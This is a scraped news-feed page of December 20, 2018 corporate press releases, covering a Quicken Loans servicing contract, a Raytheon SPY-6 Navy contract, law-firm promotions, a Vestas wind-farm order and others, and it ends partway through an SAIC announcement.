Back To TMCnet.com's Homepage ] [December 20, 2018] Quicken Loans, America's Largest Lender, Signs Long-Term Renewal for Black Knight's Industry-Leading MSP Loan Servicing System JACKSONVILLE, Fla., Dec. 20, 2018 /PRNewswire/ -- Black Knight, Inc. (NYSE:BKI) today announced that Quicken Loans, the nation's largest home mortgage lender and a client for nearly 25 years has signed a contract extension to continue using LoanSphere MSP, Black Knight's industry-leading servicing system. "As a company that has been ranked #1 for client satisfaction in mortgage servicing an unprecedented five years in a row by J.D. Power, it is clear we make our clients' servicing experience a priority. In order to continue to meet the needs of our serviced clients, it is imperative that we work with the best tech and information companies out there and we have that with Black Knight," said Jay D. Farner, Chief Executive Officer at Quicken Loans. "I'm looking forward to the next five years with Black Knight as our partnership continues to evolve while still setting the bar for client satisfaction in our industry." Black Knight's LoanSphere MSP system offers robust and scalable end-to-end loan support to help mortgage servicers manage all aspects of their operations from payment processing to escrow administration, client service, default management and more. The system's proven technology can accommodate any size portfolio, including that of Quicken Loans, the nation's largest mortgage lender and the sixth largest servicer. It is also augmented by Black Knight's award-winning customer support. LoanSphere MSP helps servicers increase efficiency, reduce operating costs and improve risk mitigation for the more than 34 million active loans serviced on the system. "Our ongoing partnership with Quicken Loans strengthens our mutual commitment to transforming the mortgage experience for the benefit of consumers and the industry as a whole," said Anthony Jabbour, CEO of Black Knight. "We are proud to call them clients and friends, and to have the opportunity to support their continued growth and success." About Quicken Loans Detroit-based Quicken Loans Inc. is the nation's largest home mortgage lender. The company closed nearly half a trillion dollars of mortgage volume across all 50 states from 2013 through 2018. Quicken Loans moved its headquarters to downtown Detroit in 2010. Today, Quicken Loans and its Family of Companies employ more than 17,000 full-time team members in Detroit's urban core. The company generates loan production from web centers located in Detroit, Cleveland and Phoenix. Quicken Loans also operates a centralized loan processing facility in Detroit, as well as its San Diego-based One Reverse Mortgage unit. Quicken Loans ranked highest in the country for customer satisfaction for primary mortgage origination by J.D. Power for the past nine consecutive years, 2010 2018, and also ranked highest in the country for customer satisfaction among all mortgage servicers the past five consecutive years, 2014 2018. Quicken Loans was once again named to FORTUNE magazine's "100 Best Companies to Work For" list in 2018 and has been included in the magazine's top 1/3rd of companies named to the list for the past 15 consecutive years. In addition, Essence Magazine named Quicken Loans "#1 Place to Work in the Country for African Americans." For more information and company news visit QuickenLoans.com/press-room. About Black Knight Black Knight (NYSE:BKI) is a leading provider of integrated software, data and analytics solutions that facilitate and automate many of the business processes across the homeownership lifecycle. As a leading fintech, Black Knight is committed to being a premier business partner that clients rely on to achieve their strategic goals, realize greater success and better serve their customers by delivering best-in-class software, services and insights with a relentless commitment to excellence, innovation, integrity and leadership. For more information on Black Knight, please visit www.blackknightinc.com. For more information: Michelle Kersch Mitch Cohen Black Knight, Inc. Black Knight,Inc. 904.854.5043 704.890.8158 [email protected] [email protected] View original content to download multimedia:http://www.prnewswire.com/news-releases/quicken-loans-americas-largest-lender-signs-long-term-renewal-for-black-knights-industry-leading-msp-loan-servicing-system-300769477.html SOURCE Black Knight, Inc. [ Back To TMCnet.com's Homepage ] [December 20, 2018] Piaggio Fast Forward Announces Plans To Expand Footprint To Assemble Revolutionary Device In Boston BOSTON, Dec. 20, 2018 /PRNewswire/ -- Today, Piaggio Fast Forward (PFF) a subsidiary of Piaggio Group and the creator of the revolutionary mobile carrying device gita announced that the company will be expanding its footprint so that all future gita s will be designed and assembled in Boston. In addition to its Charlestown headquarters, PFF's new facility will be located at ACME Row 90 Cambridge Street in Charlestown and will feature a 10,000 square foot assembly and production space. The opening of this second production site will result in the creation of 100 more jobs and will mean that gitas roll off the assembly line with the tag: "Designed, and Assembled in Boston, U.S.A." further solidifying Boston as one of the leading robotics tech hubs in the world. "This is a fundamental step toward the future of mobility for Piaggio Group. We decided to produce gita in the US, and particularly in Boston, because this is the cornerstone of robotics, and this is the city where we found the most fertile ground to grow our innovative ideas," said Michele e Colaninno, PFF's Chairman. "Our objective is to create an innovative product that is an efficient, high tech vehicle, while also delivering more functions than a simple carrying device. There is no better place than Boston to make this a reality," Colaninno added. "We know that assembling gita here in Boston will not only give us the best possible quality product, but also that it's the right step for PFF," said Jeffrey Schnapp, PFF's Chief Visionary Officer. "We are grateful for the support that PFF has received from local and state officials from day one, and we appreciate the encouragement and inspiration from our neighbors and friends in the Boston robotics community. "I am thrilled to see the Piaggio company's design and assembly operations for such cutting-edge technology open up in Charlestown," said John Barros, Chief of Economic Development for the City of Boston. "This expansion of an industry leader like Piaggio Fast Forward will create new jobs, expand Boston's robotics cluster, and bolster our local economy." The first mobile carrier of its kind, gita is a "Follow Me" pedestrian carrier that transports up to 45 pounds while tracking behind its human operator both indoors and outdoors. PFF expects gita to be on sale to consumers in mid-2019. About Piaggio Fast Forward Founded in 2015 by the Piaggio Group, Piaggio Fast Forward creates lightweight, intelligent, and sustainable mobility solutions. Based in Boston, MA, the company is dedicated to helping people move better, further, faster, and more enjoyably. PFF products leverage state-of-the-art technology and design to promote more vibrant cities filled with pedestrians, cyclists, and skaters. PFF's first product is gita : a mobile-carrier that follows people on the go. Carrying up to 45 pounds, gita encourages an active lifestyle for anyone who wants to move with efficiency and ease, from millennials and parents to seniors and disabled individuals. For more information, visit www.mygita .com , or follow the company on Twitter , Facebook or Instagram . Media Contact: Tusk Strategies: Jackie Zupsic: [email protected] Jennifer Hanley: [email protected] [email protected] View original content:http://www.prnewswire.com/news-releases/piaggio-fast-forward-announces-plans-to-expand-footprint-to-assemble-revolutionary-device-in-boston-300769479.html SOURCE Piaggio Fast Forward [ Back To TMCnet.com's Homepage ] [December 20, 2018] Mastercard Incorporated to Host Conference Call on Fourth-Quarter and Full-Year 2018 Financial Results On January 31, 2019, Mastercard Incorporated (NYSE: MA) will release its fourth-quarter and full-year 2018 financial results. The company will host a conference call to discuss these results at 9:00 a.m. Eastern Time. The financial results will be posted on the Investor Relations section of Mastercard.com. The company will issue an alert over a news wire when the earnings materials are publicly available, including a link to those documents. The dial-in information for this call is 833-236-5755 (within the U.S.) and 647-689-4183 (outside the U.S.). A replay of the call will be available for 30 days and can be accessed by dialing 800-585-8367 (within the U.S.) and 416-621-4642 (outside the U.S.), using passcode 4187924. A webcast for this call can also be accessed through the Investor Relations section of the company's website at www.mastercard.com/investor. About Mastercard Incorporated Mastercard (NYSE: MA), www.mastercard.com, is a technology company in the global payments industry. Our global payments processing network connects consumers, financial institutions, merchants, governments and businesses in more than 210 countries and territories. Mastercard products and solutions make everyday commerce activities - such as shopping, traveling, running a business and managing finances - easier, more secure and more efficient for everyone. Follow us on Twitter (News - Alert) @MastercardNews, join the discussion on the Beyond the Transaction Blog and subscribe for the latest news on the Engagement Bureau. View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005187/en/ [ Back To TMCnet.com's Homepage ] [December 20, 2018] FTJ FundChoice and CLS Investments Announce the Unification of TAMP Businesses FTJ FundChoice, an open architecture TAMP based in Cincinnati, together with CLS Investments, LLC ("CLS"), a third-party money manager and a leading manager of exchange-traded fund ("ETF") portfolios, today announces plans to unify their TAMP businesses under the direction of FTJ FundChoice CEO, Dean Cook. The move, which will take effect in early 2019, aligns the resources of two NorthStar Financial Services Group ("NorthStar") subsidiaries serving a similar audience in ways that will enable each to provide a deeper and more meaningful service and solution experience. Since NorthStar's acquisition of FTJ FundChoice earlier this year, the two companies, which will combine to have over $14 billion in TAMP assets and an additional $4 billion in platform and privately managed assets, have worked to realign their collective resources in order to provide advisors with a unified platform dedicated to delivering access to a wide range of managers and strategies. With FTJ FundChoice adding depth and resources to its TAMP offering sales team, sister company CLS will, in turn, focus on its core competency of providing investment management. "When we joined NorthStar, we realized that there was an opportunity to examine our resources and create better service options for FTJ FundChoice, CLS, and the greater advisor community," said Dean Cook, CEO of FTJ FundChoice. "Now, we're operationalizing a plan that will enable our TAMP to springboard the competition and deliver a more complete experience to our combined client base." As a result of these changes, advisors who use the CLS TAMP will now gain access to FTJ FundChoice's open architecture platform and its full lineup of investment strategists. This allows advisors to diversify client assets at the investment management level on one platform. "We're thrilled to join forces with FTJ FundChoice," said Ryan Beach, current CLS CEO who will transition int the role of President of FTJ FundChoice. "In the coming year, we'll roll out new technology and improved service offerings for our collective advisors, leveraging the best of what both CLS and FTJ FundChoice have to offer without disruption or changes to our existing service." To further expand the depth and breadth of experience across organizations, Rusty Vanneman, CFA, will join Beach in the transition and lead the investment management business of CLS as President and CIO, overseeing the firm's 14-member portfolio management team. The first phase of the integration, effective January 1, 2019, will also combine the strengths of the sales teams of FTJ FundChoice and CLS to better serve the advisor clients of both firms. "This is a real win for clients of both CLS and FTJ FundChoice," Vanneman said. "We've partnered with FTJ FundChoice for many years and we're excited to continue to offer CLS's industry leading investment management through our newly consolidated TAMP platform." About FTJ FundChoice Founded in 2001, FTJ FundChoice, LLC, is an SEC (News - Alert) Registered Investment Advisor headquartered in Hebron, KY with over $10 billion in assets under management and more than 30 investment strategists. Through their proprietary investment process, Market Movement Strategies, FTJ FundChoice allows advisors to easily diversify portfolios and insulate clients from the unpredictability of market cycles. As an open architecture TAMP, FTJ FundChoice provides advisors access to independent asset allocation strategies and model trading functionality. FTJ FundChoice assists advisors in simplifying their business by absorbing back office tasks, such as trade reconciliation, account administration, fee billing and performance reporting, allowing the advisor to spend more time on client relationship-building activities. To learn more, visit www.ftjfundchoice.com About CLS Investments CLS is an Omaha-based registered investment adviser managing in excess of $8 billion. As one of the largest third-party money managers and ETF strategists in the U.S., CLS partners with thousands of advisors, plan sponsors, and institutions to offer a full suite of outsourced portfolio management solutions for more than 44,000 individual investors. CLS specializes in creating portfolios based on a distinct risk budgeting methodology and active asset allocation approach. The CLS investment process is governed by systematic research across asset classes and strategies and the continuous measuring of risk. CLS claims compliance with the Global Investment Performance Standards (GIPS). CLS Investments, LLC is a registered investment adviser. To obtain a copy of a fully compliant presentation and/or a list of composite descriptions, contact us at 888-455-4244. CLS is a subsidiary of NorthStar Financial Services Group, LLC (NorthStar), which currently has over $802 billion in assets under management and administration. To learn more, visit www.clsinvest.com. About NorthStar NorthStar Financial Services Group, LLC ("NorthStar") exists to innovate and develop products and services, strengthen its partners, and provide tools and resources to empower investment advisors. With over 890 employees and nearly $802 billion in assets under management and administration as of 11/30/2018, NorthStar is a holding company for several subsidiaries. Each company offers unique services within the financial industry, including asset management, comprehensive fund services, portfolio accounting, fund distribution, and compliance. NorthStar provides accounting, IT, and human resources for all its subsidiaries. To learn more about NorthStar visit www.nstar-financial.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005431/en/ [ Back To TMCnet.com's Homepage ] [December 20, 2018] U.S. Navy awards Raytheon $114 million contract for SPY-6 integration and support TEWKSBURY, Mass., Dec. 20, 2018 /PRNewswire/ -- Raytheon Integrated Defense Systems, Marlborough, Massachusetts, is awarded a $114,065,820 cost-plus-fixed fee, firm-fixed-price, cost only contract for air and missile defense radar AN/SPY-6(V) integration and production support efforts. The work to be performed is the integration and production support for continued combat system integration and test, engineering, training, software and depot maintenance, and field engineering services, as well as the procurement of spare parts. This contract includes options which, if exercised, would bring the cumulative value of this contract to $357,827,708. Work will be performed in Marlborough, Massachusetts (64 percent); Kauai, Hawaii (18 percent); Portsmouth, Rhode Island (8 percent); San Diego, California (7 percent); Fair Lakes, Virginia (2 percent); and Moorestown, New Jersey (1 percent), and is expected to be completed by December 2019. Fiscal 2017 and 2018 shipbuilding and conversion (Navy); and fiscal 2018 and 2019 research, development, test and evaluation (Navy) funding in the amount of $46,221,947 will be obligated at time of award and funding in the amount of $6,887,511 will expire at the end of the current fiscal year. This contract was not competitively procured. This contract was procured under the statutory authority of 10 U.S. Code 2304(c)(1) - only on responsible source and no other supplies or services will satisfy agency requirements. The Naval Sea Systems Command, Washington, District of Columbia, is the contracting activity (N00024-19-C-5501). Click here for more information about SPY-6. About Raytheon Raytheon Company, with 2017 sales of $25 billion and 64,000 employees, is a technology and innovation leader specializing in defense, civil government and cybersecurity solutions. With a history of innovation spanning 96 years, Raytheon provides state-of-the-art electronics, mission systems integration, C5I products and services, sensing, effects, and mission support for customers in more than 80 countries. Raytheon is headquartered in Waltham, Mass. Follow us on Twitter. Media Contact Ian Davis +1.978.284.9579 [email protected] View original content to download multimedia:http://www.prnewswire.com/news-releases/us-navy-awards-raytheon-114-million-contract-for-spy-6-integration-and-support-300769237.html SOURCE Raytheon Company [ Back To TMCnet.com's Homepage ] [December 20, 2018] Sunshine Insurance Group Reaches a Strategic Partnership with Plug and Play China, Leading Innovation to the Insurance Industry BEIJING, Dec. 20, 2018 /PRNewswire/ -- Sunshine Insurance Group and the Plug and Play China Insurtech Program signed a strategic partnership at their eco-launch ceremony at the Plug and Play China's 2018 Winter Summit on November 21st. Plug and Play, a global startup accelerator and corporate innovation platform headquartered in Silicon Valley, promotes innovation in more than a dozen industries including insurance. Plug and Play's Insurtech Program was established in May 2016 and now has offices in Silicon Valley, New York, Munich, Singapore, Tokyo, and Beijing, working with over 75 insurance companies and more than 1,000 startups around the world to link global resources and promote the innovation of insurance technology. Sunshine Insurance Group partners with Plug and Play China in order to partner, pilot, and collaborate with emerging Insurtech startups. Through tailored dealflows and focus weeks, Plug and Play China will bridge the gap with tier 1 startups and Sunshine Insurance Group to develop new products and technologies for the insurance sector. Zhenbin Xu, Chief AI Scientist of Sunshine Insurance Group, commented, "We are very happy to work with Plug and Play, and hope that more excellent startups will join Sunshine Insurance Group and collaborate with us through this platform." "We feel honored to cooperate with the Sunshine Insurance Group," said Jieping Xu, Executive Director and CEO, Plug and Play China. "Plug and Play is committed to building a global innovation ecosystem that brings together corporations, startups, investment institutions, local governments, and research institutes. The paricipation of the Sunshine Insurance Group will bring vitality to the innovation of the entire insurance industry." Ali Safavi, Founder and Global Director, Plug and Play Insurtech welcomes the partnership of such a large insurance company to help China's insurance technology boom. Ali indicated, "The uniqueness of insurance technology is that it can help insurance corporations to distribute products and improve efficiency in a way that exceeds people's traditional expectations. China is one of the top 10 insurance markets in the world, where really inspirational entrepreneurs have emerged with solutions at the forefront of this market. We encourage more insurance companies to embrace this trend with an open mind so that they can grow together." Plug and Play China held hundreds of events for their 60+ corporate partners this year, selecting top growing startups into their program. In 2018, Plug and Play Insurtech accepted its first batch of 16 startups its new program in Beijing. About Plug and Play Plug and Play is a global innovation platform. Headquartered in Silicon Valley, we have built accelerator programs, corporate innovation services, and an in-house VC to make technological advancement progress faster than ever before. Since inception in 2006, our programs have expanded worldwide to include a presence in over 20 locations globally giving startups the necessary resources to succeed in Silicon Valley and beyond. With over 10,000 startups and 280 official corporate partners, we have created the ultimate startup ecosystem in many industries. We provide active investments with 200 leading Silicon Valley VCs, and host more than 700 networking events per year. Companies in our community have raised over $7 billion in funding, with successful portfolio exits including Danger, Dropbox, Lending Club, and PayPal. For more information, visit www.plugandplaytechcenter.com Press Contact Sunshine Insurance Group Cassie Zheng Big Data and AI Center [email protected] Plug and Play Allison Romero Director, Marketing [email protected] Bo Yan Marketing Manager, APAC [email protected] View original content:http://www.prnewswire.com/news-releases/sunshine-insurance-group-reaches-a-strategic-partnership-with-plug-and-play-china-leading-innovation-to-the-insurance-industry-300769489.html SOURCE Plug and Play [ Back To TMCnet.com's Homepage ] [December 20, 2018] Haug Partners Elevates Erika Selli to Partner Haug Partners LLP is proud to announce the elevation of Erika Selli to Partner in the New York City office. Ms. Selli joined Haug Partners in 2013. Ms. Selli's practice focuses on intellectual property litigation, primarily patent litigation in the area of pharmaceuticals and biologics, as well as cases arising under the Hatch-Waxman Amendments to the Federal Food, Drug & Cosmetic Act. She has represented clients in all stages of litigation, including pre-suit investigations, trial, and appellate proceedings before various federal district courts, the U.S. Court of Appeals for the Fedeal Circuit, and the U.S. International Trade Commission. Ms. Selli has also represented clients in inter partes review proceedings before the PTAB. In addition to her litigation practice, Ms. Selli also has experience in counseling related to FDA regulatory matters and due diligence for corporate transactions. About Haug Partners LLP Haug Partners LLP is a national law firm that provides integrated multidisciplinary legal services for life science and technology companies. With offices in New York, Washington, D.C., and Boston, and through working partnerships with firms in Germany, China, and Japan, Haug Partners has the resources, technical expertise, legal acumen, and business judgment to consistently deliver optimal outcomes for clients. View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005566/en/ [ Back To TMCnet.com's Homepage ] Haug Partners Elevates David Shotlander to Partner Haug Partners LLP is proud to announce the elevation of David Shotlander to Partner in the Washington, D.C. office. Mr. Shotlander joined Haug Partners in 2014. Mr. Shotlander's core practice is antitrust litigation, government investigations and counseling. He primarily represents pharmaceutical companies on matters involving critical and emerging antitrust issues, and has also represented parties in merger and civil non-merger investigations before the Federal Trade Commission, Department of Justice, state attorney generals, and foreign competition authorities. Mr. Shotlander has also been repeatedly awarded SuperLawyers Washington DC Rising Star. About Haug Partners LLP Haug Partners LLP is a national law firm that provides integrated multidisciplinary legal services for life science and technology companies. With offices in New York, Washington, D.C., and Boston, and through working partnerships with firms in Germany, China, and Japan, Haug Partners has the resources, technical expertise, legal acumen, and business judgment to consistently deliver optimal outcomes for clients. www.haugpartners.com View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005567/en/ [December 20, 2018] National Community Development Groups Invest $24 Million in New Markets Tax Credits for Passport's Health and Well-Being Campus One of Louisville's most anticipated real estate development projects has drawn significant attention and support from prominent national investors. A collection of financial leaders has awarded Passport Health Plan - a nonprofit, Kentucky-based Medicaid managed care organization - millions of dollars in special tax credit financing to help bring the company's new headquarters and Health and Well-Being Campus to reality in downtown Louisville. Three Community Development Entities (CDE) are combining to provide $24.35 million in New Markets Tax Credit financing to Passport, bringing $8.55 million in subsidy to assist the project. The CDEs are the National Development Council, Reinvestment Fund, and Telesis Corporation. SB Friedman Development Advisors acted as consultants for this project. PNC Bank will serve as the investor for the $8.55M in tax credit equity. "The Passport Health and Well-Being Campus will further allow us to meet our shared goal with the Kentucky Department for Medicaid Services (DMS) to help our members develop job skills,acquire education, and ultimately become employed and have access to private insurance," said Passport CEO Mark Carter. "Through our collaboration with community partners focused on healthy food, affordable and safe housing, and other services, we will reduce the overall cost of Kentucky's Medicaid program in the future." The New Markets Tax Credit (NMTC) was established in 2000 to provide incentives for investment in low-income communities, according to the Tax Policy Center. Congress authorizes the amount of credit authority, which is then allocated to qualified applications by the Treasury Department. According to the NMTC Coalition, $42 billion in direct NMTC investments were made between 2003 and 2015, leveraging nearly $80 billion in total capital investment to businesses and revitalization projects in communities with high rates of poverty and unemployment. "The Passport Health and Well-Being Campus is organized around social determinants of health, which are conditions in the environments in which people are born, learn, work, play, worship, and live that affect a wide range of health and quality-of-life outcomes," Carter said. "Along with the Passport headquarters - which will see more than 300 new jobs from participating partners over the coming years - there will be strong retail and service-based opportunities available on the campus, along with housing, retail, and community-gathering opportunities available." The 21-acre Passport Health and Well-Being Campus qualified for an NMTC because it is central to the revitalization of West Louisville, which is in turn the most critical neighborhood development priority for the Metro Louisville region. According to the 2011-2015 American Community Survey, the Census tract where the project will be situated has a poverty rate of 56.6 percent, a median family income equal to about 35% of the Area Median Income (AMI), and an unemployment rate of 19.1 percent (more than twice the national average). About Passport Health Plan Passport Health Plan is a provider-sponsored, non-profit, community-based health plan administering Medicaid benefits to more than 310,000 Kentuckians. Passport has been contracted with the Commonwealth of Kentucky to administer Medicaid benefits since 1997. For details, please visit passporthealthplan.com or call toll-free (800) 578-0603. Passport also operates a Medicare Advantage program, called "Passport Advantage," for residents of 16 Kentucky counties around Greater Louisville who are eligible for both Medicaid and Medicare. For details, go online to passportadvantage.com or call toll-free (844) 859-6152. View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005574/en/ [ Back To TMCnet.com's Homepage ] [December 20, 2018] Trilio Named a Finalist for "Most Promising Start-Up" in the 2018-19 Cloud Awards BOSTON, Dec. 20, 2018 (GLOBE NEWSWIRE) -- Trilio , the leader in data protection and recovery solutions for OpenStack, has been named a finalist in the Most Promising Start-Up category in the 2018-2019 Cloud Awards . The awards program, which celebrates success and innovation in the cloud computing industry, accepts applications from hundreds of organizations around the world each year. Were thrilled to be a contender for the Cloud Awards Most Promising Start-Up this year, said David Safaii, CEO of Trilio. As private and hybrid cloud technologies continue their booming growth, Trilio is filling a critical gap through its cloud-native backup and recovery capabilities. Trilio empowers all users of a cloud to gain on-demand access to the resources they need when they need them, a powerful shift toward workload flexibility and mobility. Were proud of our contributions to the cloud marketplace and are committed to continued innovation as container technology continues to shift the open infrastructure landscape. TrilioVaults agentless, software-only solution is native to OpenStack and KVM, providing self-service protection and recovery of entire workloads to the users of each platform to almost any on premise or off premise storage environment. Foundationally architected for the cloud, TrilioVault can scale quickly with zero performance degradatio. With TrilioVault, businesses have total control to back up their clouds in a way thats easily recoverable and requires little-to-no central IT administration. In such a competitive global marketplace, the need to not only use these technologies but to continue to innovate has grown ever-stronger, said Cloud Awards organizer Larry Johnson. This year, the judges have had a more difficult time than ever in deciding which entrants should move forward to the next stage, and every submission displayed unique points of merit. We can only wait until 2019 to see which organizations emerge as final winners in their chosen Cloud Awards category. Hundreds of organizations entered, with entries coming from across the globe, covering the Americas, Australia, Europe and the Middle East. You can view the full shortlist here: https://www.cloud-awards.com/2019-shortlist . Final winners will be announced on Tuesday 29 January 2019. About Trilio Trilio is a leader in data protection for OpenStack and RHV environments, and the only provider of OpenStack-native backup and recovery solutions. Since 2013, Trilio has been on a mission to give tenants more control over their ever-changing, growing, complex, and scalable cloud-based architectures. Today, Trilio is trusted by businesses all around the world to protect their clouds in a way thats easily recoverable, and requires little-to-no central IT administration. Follow us on Twitter @triliodata and LinkedIn or visit www.trilio.io to learn more. About the Cloud Awards The Cloud Awards is an international program which has been recognizing and honoring industry leaders, innovators and organizational transformation in cloud computing. The awards are open to large, small, established and start-up organizations from across the entire globe, with an aim to find and celebrate the pioneers who will shape the future of the Cloud as we move into 2019 and beyond. Categories include Most Promising Start-Up, Best SaaS, and Best in Mobile Cloud Solution. Finalists were selected by a judging panel of international industry experts. For more information about the Cloud Awards please visit http://www.cloud-awards.com/ . Media Contacts: For Trilio: Katie Lyon [email protected] 508-233-3912 x703 For the Cloud Awards: James Williams [email protected] [ Back To TMCnet.com's Homepage ] [December 20, 2018] Summit Names Christopher Lee Named Divisional Vice President of IT Summit, a leading provider of workers' compensation insurance services in the southeastern United States and member of Great American Insurance Group, announced today that Christopher (Chris) Lee has been named Divisional Vice President of IT starting January 1, 2019. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20181220005813/en/ Christopher Lee (Photo: Business Wire) "I am extremely pleased to announce that Chris Lee (News - Alert) will assume the role of Divisional Vice President of IT," says Carol Sipe, Summit Divisional President. "Chris has been an integral part of our technology team for more than 20 years, currently serving as Divisional Assistant Vice President of Development. Chris has demonstrated expertise and leadership, which makes me extremely confident in his capabilities." Mr. Lee will follow in the footsteps of Kelly Stone, who is retiring from the position at the end of this year. Ms. Stone has been a key part of Summit's significant advancements in technology for more than 30 years. Mr. Lee currently resides in Lakeland, Florida. He graduated from Tennessee Technological Universityin Cookeville with a Bachelor of Science in Management Information Systems (MIS). He also earned a Master of Business Administration (MBA) from Regis University in Denver, Colorado. About Summit Based in Lakeland, Florida, Summit is a leading provider of workers' compensation insurance coverage in the southeastern United States, and is a member of Great American Insurance Group. Summit manages the day-to-day operations of five workers' compensation insurance companies that include its two affiliates, Bridgefield Employers Insurance Company and Bridgefield Casualty Insurance Company, and three non-affiliates, BusinessFirst Insurance Company, RetailFirst Insurance Company and Retailers Casualty Insurance Company. Summit provides its comprehensive workers' compensation insurance services to businesses in Alabama, Arkansas, Florida, Georgia, Indiana, Kentucky, Louisiana, Mississippi, North Carolina, South Carolina, Tennessee and Texas. Summit Consulting LLC has offices in Lakeland, Florida, Baton Rouge, Louisiana, and Gainesville, Georgia. For more information, visit www.summitholdings.com. About Great American Insurance Group Summit is a member of Great American Insurance Group. Great American Insurance Group's roots go back to 1872 with the founding of its flagship company, Great American Insurance Company. Based in Cincinnati, Ohio, the operations of Great American Insurance Group are engaged primarily in property and casualty insurance, focusing on specialty commercial products for businesses, and in the sale of traditional fixed, fixed-indexed and variable-indexed annuities in the retail, financial institutions, registered investment advisor and education markets. Great American Insurance Company has received an "A" (Excellent) or higher rating from the A.M. Best Company for more than 100 years (most recent rating evaluation of "A+" (Superior) affirmed August 17, 2018). The members of Great American Insurance Group are subsidiaries of American Financial Group, Inc. (AFG), also based in Cincinnati, Ohio. AFG's common stock is listed and traded on the New York Stock Exchange under the symbol AFG. View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005813/en/ [ Back To TMCnet.com's Homepage ] [December 20, 2018] Gleacher & Company Announces Sixth and Final Liquidating Distribution and Extension of Wind up Period Gleacher & Company, Inc. (OTC Pink:GLCH) (the "Company") announced December 19, 2018 that the Board of Directors has determined to make a sixth and final liquidating distribution to Company stockholders in the amount of $0.81 per share of the Company's common stock (approximately $5.01 million in the aggregate). The record date for this distribution is December 19, 2018. The Company anticipates that the payment date will be on or about December 31, 2018. Total liquidating distributions, including this sixth and final distribution, since the filing of the Company's Certificate of Dissolution in July 2014 amount to $11.98 per share of the Company's common stock (approximately $74.1 million in the aggregate). The Company intends to make no further liquidating distributions. In connection with the payment of the sixth and final distribution, the shares of capital stock of the Company will be cancelled and the former holders of capital stock of the Company will thereafter have only the right to receive the sixth and final distribution. The Company will take action to halt trading in the Company's securities, including causing FINRA to remove the symbol of the Company and causing FINRA to inform OTC Markets Group that FINRA has done so such that OTC Markets Group removes the quotations in the Company's securities. The amounts distributed to stockholders are affected by many factors, including the resolution of outstanding known laims and obligations of the Company, the incurrence of unexpected or greater-than-expected losses with respect to contingent liabilities, the assertion of claims against the Company, the Company's realizations on selling or otherwise monetizing the Company's remaining assets, the need to dissolve and wind up each of the Company's subsidiaries, and costs incurred to wind up our business. The Company also announced that it has requested and received from the Delaware Chancery Court an extension of the period during which the Company may wind-up its affairs under Delaware General Corporation Law from December 31, 2018 to June 30, 2019. The Company believes such time period will provide sufficient time to complete the wind-up of the Company's affairs. The actual wind-up period for the Company may be shorter or longer than requested and, if additional time is needed to complete the wind-up of the Company's affairs, the Company would need to seek an additional extension. About Gleacher & Company Gleacher & Company, Inc. is a dissolved corporation under the laws of the State of Delaware. Forward-looking statements This press release contains "forward-looking statements." These statements are not historical facts but instead represent the Company's belief or plans regarding future events, many of which, by their nature, are inherently uncertain and outside of the Company's control. The Company's forward-looking statements involve known and unknown risks, uncertainties and other important factors, including the risks and other factors identified herein, on the Company's website and in other public disclosures made by the Company from time to time. As a result, the Company's actual actions, performance or achievements or results may differ materially from those expressed or implied by these forward-looking statements. Forward-looking statements include, without limitation: statements regarding the dissolution and liquidation of the Company, including the Company's expectations with regard to liquidating distributions. Although the Company believes that the expectations reflected in any forward-looking statements are reasonable, it cannot guarantee future events or results. Except as may be required under federal law, the Company undertakes no obligation to update any forward-looking statements for any reason, even if new information becomes available or other events occur. View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005835/en/ [ Back To TMCnet.com's Homepage ] [December 20, 2018] Vestas receives 58 MW EPC order in Australia SINGAPORE, Dec. 21, 2018 /PRNewswire/ -- Vestas has signed a 58 MW engineering, procurement and construction (EPC) contract for the Cherry Tree Wind Farm, located near Seymour in Victoria, Australia. Cherry Tree Wind Farm has been developed by Vestas' long term Australian customer Infigen Energy and sold to the John Laing Group today in conjunction with the project achieving financial close. John Laing is an international originator, active investor and manager of infrastructure projects and will own and fund the Cherry Tree Wind Farm going forward. The project will feature 16 Vestas V136-3.6 MW wind turbines and a 30-year Active Output Management 5000 (AOM 5000) service agreement, which will include a full-scope service package to maximise energy production for the entire asset, including scheduled and unscheduled maintenance for the wind turbines, electrical and civil balance of plant. Vestas and Infigen Energy have worked together on five projects in Australia over the past 14 years, and Vestas is currently servicing Infigen's entire operating fleet including all their Suzlon turbines. "Vestas and Infigen Energy have enjoyed a long-standing relationship, and we are proud tocontinue our support with the Cherry Tree project," said Vestas Asia Pacific President, Clive Turton, "We also look forward to constructing and servicing the Cherry Tree Wind Farm under John Laing's ownership". "Vestas is a trusted partner of Infigen Energy with a proven track record in the market and provides competitive solutions supported by a long-term service commitment", said Infigen Energy, Managing Director, Ross Rolfe. Commercial operations at Cherry Tree Wind Farm are scheduled to commence in first half of 2020. About Vestas Vestas is the energy industry's global partner on sustainable energy solutions. We design, manufacture, install, and service wind turbines across the globe, and with 97 GW of wind turbines in 79 countries, we have installed more wind power than anyone else. Through our industry-leading smart data capabilities and unparalleled 83 GW of wind turbines under service, we use data to interpret, forecast, and exploit wind resources and deliver best-in-class wind power solutions. Together with our customers, Vestas' more than 24,400 employees are bringing the world sustainable energy solutions to power a bright future. For updated Vestas photographs and videos, please visit our media images page on: https://www.vestas.com/en/media/images. We invite you to learn more about Vestas by visiting our website at www.vestas.com and following us on our social media channels: www.twitter.com/vestas www.linkedin.com/company/vestas www.facebook.com/vestas www.instagram.com/vestas www.youtube.com/vestas SOURCE Vestas [ Back To TMCnet.com's Homepage ] [December 20, 2018] SAIC to Host Investor Day on Jan. 7, 2019 Science Applications International Corp. (NYSE: SAIC (News - Alert)) today announced it will host an Investor Day on Monday, Jan. 7, 2019 in New York City. The event will provide the investment community with an opportunity to hear from SAIC's senior management team about the company's long-term strategy, operations, financial outlook, and the proposed acquisition of Engility Holdings, Inc. Speakers will include: SAIC CEO Tony Moraco SAIC Chief Operating Officer Nazzic Keene SAIC Chief Financial Officer Charlie Mathis Engility CEO Lynn Dugle A live webcast of the event and presentation will be accessible to the general public beginning at 1:00 p.m. EST on January 7 through the Investor Relations section of the company's website (investors.saic.com). A replay of the webcast and a full copy of the presentatio materials will be available on the investor relations section of the company's website. In-person attendance at the Investor Day requires advance registration. Please email [email protected] for further information. About SAIC SAIC is a premier technology integrator providing full life cycle services and solutions in the technical, engineering, intelligence, and enterprise information technology markets. SAIC is Redefining Ingenuity through its deep customer 